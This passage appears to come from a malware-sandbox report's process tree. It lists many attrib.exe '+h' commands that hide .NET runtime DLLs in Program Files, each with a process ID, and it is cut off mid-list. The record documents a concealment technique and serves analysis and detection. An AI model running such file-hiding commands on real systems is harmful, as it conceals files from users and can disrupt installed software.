    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.Tools.dll"
    3⤵
    PID:1512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.TraceSource.dll"
    3⤵
    PID:2732
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.Tracing.dll"
    3⤵
    PID:1352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.dll"
    3⤵
    PID:3264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Drawing.dll"
    3⤵
    PID:2424
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Drawing.Primitives.dll"
    3⤵
    PID:3056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Dynamic.Runtime.dll"
    3⤵
    PID:2220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Formats.Asn1.dll"
    3⤵
    - Drops file in Program Files directory
    PID:4968
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Formats.Tar.dll"
    3⤵
    PID:1128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Globalization.Calendars.dll"
    3⤵
    PID:6096
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Globalization.dll"
    3⤵
    PID:3536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Globalization.Extensions.dll"
    3⤵
    PID:848
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Compression.Brotli.dll"
    3⤵
    PID:1100
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Compression.dll"
    3⤵
    PID:3588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Compression.FileSystem.dll"
    3⤵
    PID:1724
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Compression.Native.dll"
    3⤵
    PID:4856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Compression.ZipFile.dll"
    3⤵
    PID:1836
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.dll"
    3⤵
    PID:1540
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.FileSystem.AccessControl.dll"
    3⤵
    PID:5520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.FileSystem.dll"
    3⤵
    PID:3364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.FileSystem.DriveInfo.dll"
    3⤵
    PID:1356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.FileSystem.Primitives.dll"
    3⤵
    PID:2964
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.FileSystem.Watcher.dll"
    3⤵
    PID:3256
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.IsolatedStorage.dll"
    3⤵
    PID:4844
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.MemoryMappedFiles.dll"
    3⤵
    PID:2092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Pipes.AccessControl.dll"
    3⤵
    PID:1828
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.Pipes.dll"
    3⤵
    PID:5136
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.IO.UnmanagedMemoryStream.dll"
    3⤵
    PID:2716
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Linq.dll"
    3⤵
    PID:596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Linq.Expressions.dll"
    3⤵
    PID:4848
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Linq.Parallel.dll"
    3⤵
    PID:5288
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Linq.Queryable.dll"
    3⤵
    PID:5960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Memory.dll"
    3⤵
    PID:5552
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.dll"
    3⤵
    PID:3628
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Http.dll"
    3⤵
    PID:3280
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Http.Json.dll"
    3⤵
    PID:2404
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.HttpListener.dll"
    3⤵
    PID:2772
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Mail.dll"
    3⤵
    PID:5252
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.NameResolution.dll"
    3⤵
    PID:3396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.NetworkInformation.dll"
    3⤵
    PID:4884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Ping.dll"
    3⤵
    PID:4048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Primitives.dll"
    3⤵
    PID:3732
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Quic.dll"
    3⤵
    PID:2748
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Requests.dll"
    3⤵
    PID:4368
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Security.dll"
    3⤵
    PID:1448
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.ServicePoint.dll"
    3⤵
    PID:4624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.Sockets.dll"
    3⤵
    PID:2316
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.WebClient.dll"
    3⤵
    PID:5856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.WebHeaderCollection.dll"
    3⤵
    PID:4680
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.WebProxy.dll"
    3⤵
    PID:5748
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.WebSockets.Client.dll"
    3⤵
    PID:4912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Net.WebSockets.dll"
    3⤵
    PID:812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Numerics.dll"
    3⤵
    PID:2064
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Numerics.Vectors.dll"
    3⤵
    PID:2840
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ObjectModel.dll"
    3⤵
    PID:2464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.CoreLib.dll"
    3⤵
    PID:5880
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.DataContractSerialization.dll"
    3⤵
    PID:3400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.Uri.dll"
    3⤵
    PID:4656
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.Xml.dll"
    3⤵
    PID:5536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.Xml.Linq.dll"
    3⤵
    PID:5548
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.DispatchProxy.dll"
    3⤵
    PID:3416
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.dll"
    3⤵
    PID:4500
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Emit.dll"
    3⤵
    PID:5876
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Emit.ILGeneration.dll"
    3⤵
    PID:3388
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Emit.Lightweight.dll"
    3⤵
    PID:4404
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Extensions.dll"
    3⤵
    PID:2352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Metadata.dll"
    3⤵
    PID:3824
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.Primitives.dll"
    3⤵
    PID:724
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Reflection.TypeExtensions.dll"
    3⤵
    PID:992
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Resources.Reader.dll"
    3⤵
    PID:4580
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Resources.ResourceManager.dll"
    3⤵
    PID:1384
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Resources.Writer.dll"
    3⤵
    PID:860
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.CompilerServices.Unsafe.dll"
    3⤵
    PID:2292
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.CompilerServices.VisualC.dll"
    3⤵
    PID:3992
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.dll"
    3⤵
    PID:6056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Extensions.dll"
    3⤵
    PID:3392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Handles.dll"
    3⤵
    PID:2624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.InteropServices.dll"
    3⤵
    PID:5816
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.InteropServices.JavaScript.dll"
    3⤵
    PID:4492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.InteropServices.RuntimeInformation.dll"
    3⤵
    PID:400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Intrinsics.dll"
    3⤵
    PID:6068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Loader.dll"
    3⤵
    PID:4796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Numerics.dll"
    3⤵
    PID:388
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Serialization.dll"
    3⤵
    PID:5896
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Serialization.Formatters.dll"
    3⤵
    PID:856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Serialization.Json.dll"
    3⤵
    PID:3048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Serialization.Primitives.dll"
    3⤵
    PID:500
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Runtime.Serialization.Xml.dll"
    3⤵
    PID:1832
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.AccessControl.dll"
    3⤵
    PID:2504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Claims.dll"
    3⤵
    PID:3876
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.Algorithms.dll"
    3⤵
    PID:884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.Cng.dll"
    3⤵
    PID:3960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.Csp.dll"
    3⤵
    PID:4456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.dll"
    3⤵
    PID:5396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.Encoding.dll"
    3⤵
    PID:1792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.OpenSsl.dll"
    3⤵
    PID:6124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.Primitives.dll"
    3⤵
    PID:3904
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Cryptography.X509Certificates.dll"
    3⤵
    PID:4716
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.dll"
    3⤵
    PID:444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Principal.dll"
    3⤵
    PID:5444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.Principal.Windows.dll"
    3⤵
    PID:1296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Security.SecureString.dll"
    3⤵
    PID:5504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ServiceModel.Web.dll"
    3⤵
    PID:4356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ServiceProcess.dll"
    3⤵
    PID:3172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.Encoding.CodePages.dll"
    3⤵
    PID:2564
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.Encoding.dll"
    3⤵
    PID:748
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.Encoding.Extensions.dll"
    3⤵
    PID:4632
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.Encodings.Web.dll"
    3⤵
    PID:2088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.Json.dll"
    3⤵
    PID:5792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Text.RegularExpressions.dll"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Channels.dll"
    3⤵
    PID:4496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.dll"
    3⤵
    PID:1892
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Overlapped.dll"
    3⤵
    PID:5588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Tasks.Dataflow.dll"
    3⤵
    PID:2156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Tasks.dll"
    3⤵
    PID:4508
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Tasks.Extensions.dll"
    3⤵
    PID:1668
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Tasks.Parallel.dll"
    3⤵
    PID:1608
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Thread.dll"
    3⤵
    PID:4980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.ThreadPool.dll"
    3⤵
    PID:3232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Threading.Timer.dll"
    3⤵
    PID:1076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Transactions.dll"
    3⤵
    PID:4940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Transactions.Local.dll"
    3⤵
    PID:5316
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ValueTuple.dll"
    3⤵
    PID:620
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Web.dll"
    3⤵
    PID:5508
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Web.HttpUtility.dll"
    3⤵
    PID:4712
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Windows.dll"
    3⤵
    PID:5624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.dll"
    3⤵
    PID:2672
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.Linq.dll"
    3⤵
    PID:5560
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.ReaderWriter.dll"
    3⤵
    PID:3036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.Serialization.dll"
    3⤵
    PID:1264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.XDocument.dll"
    3⤵
    PID:4040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.XmlDocument.dll"
    3⤵
    PID:5852
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.XmlSerializer.dll"
    3⤵
    PID:4536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.XPath.dll"
    3⤵
    PID:4264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Xml.XPath.XDocument.dll"
    3⤵
    PID:3940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\WindowsBase.dll"
    3⤵
    PID:3212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Accessibility.dll"
    3⤵
    PID:2204
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\D3DCompiler_47_cor3.dll"
    3⤵
    PID:3964
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\DirectWriteForwarder.dll"
    3⤵
    PID:2424
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.VisualBasic.dll"
    3⤵
    PID:4184
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.VisualBasic.Forms.dll"
    3⤵
    PID:1556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\Microsoft.Win32.Registry.AccessControl.dll"
    3⤵
    PID:5868
- - C:\Windows\system32\attrib.exe
